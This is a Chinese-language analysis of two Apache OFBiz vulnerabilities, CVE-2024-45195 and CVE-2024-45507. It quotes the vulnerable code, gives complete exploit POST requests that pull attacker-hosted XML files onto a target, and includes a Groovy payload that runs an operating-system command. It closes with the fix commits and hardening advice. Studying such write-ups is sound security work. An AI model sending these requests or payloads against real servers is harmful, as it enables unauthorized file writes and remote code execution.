浅析Apache Ofbiz CVE-2024-45195 & CVE-2024-45507
字数 990 2025-08-22 22:47:30
Apache Ofbiz CVE-2024-45195 & CVE-2024-45507 漏洞分析与利用指南
漏洞概述
本文详细分析Apache Ofbiz框架中的两个安全漏洞:CVE-2024-45195和CVE-2024-45507。这两个漏洞均涉及未授权访问和远程代码执行风险,攻击者可利用这些漏洞在目标系统上执行任意代码。
CVE-2024-45195 漏洞分析
漏洞原理
CVE-2024-45195是一个文件写入漏洞,与之前的CVE-2024-38856原理相似。该漏洞允许攻击者通过未授权控制器后跟特定视图来覆盖文件内容。
漏洞代码分析
漏洞位于ViewDataFile.groovy文件中,关键代码如下:
dataFileSave = request.getParameter("DATAFILE_SAVE")
entityXmlFileSave = request.getParameter("ENTITYXML_FILE_SAVE")
dataFileLoc = request.getParameter("DATAFILE_LOCATION")
definitionLoc = request.getParameter("DEFINITION_LOCATION")
definitionName = request.getParameter("DEFINITION_NAME")
dataFileIsUrl = null != request.getParameter("DATAFILE_IS_URL")
definitionIsUrl = null != request.getParameter("DEFINITION_IS_URL")
// 远程加载文件
dataFileUrl = dataFileIsUrl?new URL(dataFileLoc):UtilURL.fromFilename(dataFileLoc)
definitionUrl = definitionIsUrl?new URL(definitionLoc):UtilURL.fromFilename(definitionLoc)
// 写入文件
if (dataFile && dataFileSave) {
dataFile.writeDataFile(dataFileSave)
}
if (dataFile && entityXmlFileSave) {
DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
}
漏洞利用步骤
-
准备两个XML文件:
1.xml:包含要写入的内容2.xml:定义文件格式
-
发送以下POST请求:
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
DATAFILE_LOCATION=http://[attacker]/1.xml&DEFINITION_IS_URL=1&DATAFILE_IS_URL=1&DEFINITION_LOCATION=http://[attacker]/2.xml&DATAFILE_SAVE=/path/to/target.txt&DEFINITION_NAME=TaxwareOutHead
- 文件内容说明:
2.xml内容:<?xml version="1.0" encoding="UTF-8"?> <data-files xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="https://ofbiz.apache.org/dtds/datafiles.xsd"> <data-file name="TaxwareOutHead" type-code="001" record-length="21" separator-style="fixed-record" start-line="0"> <record name="outHead"> <field name="COMPRESSION_INDICATOR" position="1" length="20" type="String"/> </record> </data-file> </data-files>1.xml内容:123456789012345678901(注意长度需匹配2.xml中的定义)
修复方案
在18.12.16版本中引入了视图权限校验,修复commit:
https://github.com/apache/ofbiz-framework/commit/ab78769c2d7f22bd2ca8cc77b6be4f71d8bba24f
CVE-2024-45507 漏洞分析
漏洞原理
这是一个二次模板注入漏洞,允许远程加载文件来渲染screen。漏洞源于StatsSinceStart screen中的decorator-screen标签:
<decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}">
漏洞利用步骤
-
准备恶意XML文件(
payload.xml):<?xml version="1.0" encoding="UTF-8"?> <screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen" http://ofbiz.apache.org/dtds/widget-screen.xsd"> <screen name="StatsDecorator"> <section> <actions> <set field="headerItem" value="${groovy:throw new Exception('open -a Calculator'.execute().text);}"/> <entity-one entity-name="FinAccount" value-field="finAccount"/> </actions> </section> </screen> </screens> -
发送以下POST请求:
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1 Host: [target] Content-Type: application/x-www-form-urlencoded Content-Length: 56 statsDecoratorLocation=http://[attacker]/payload.xml
修复方案
修复commit:
https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3
防护建议
- 升级到最新版本的Apache Ofbiz
- 限制对
/webtools/control端点的访问 - 实施输入验证和过滤,特别是对URL参数
- 监控系统日志中可疑的文件操作
总结
这两个漏洞都利用了Ofbiz框架中未充分验证的用户输入,通过精心构造的请求可实现远程代码执行。建议用户及时更新系统并实施适当的防护措施。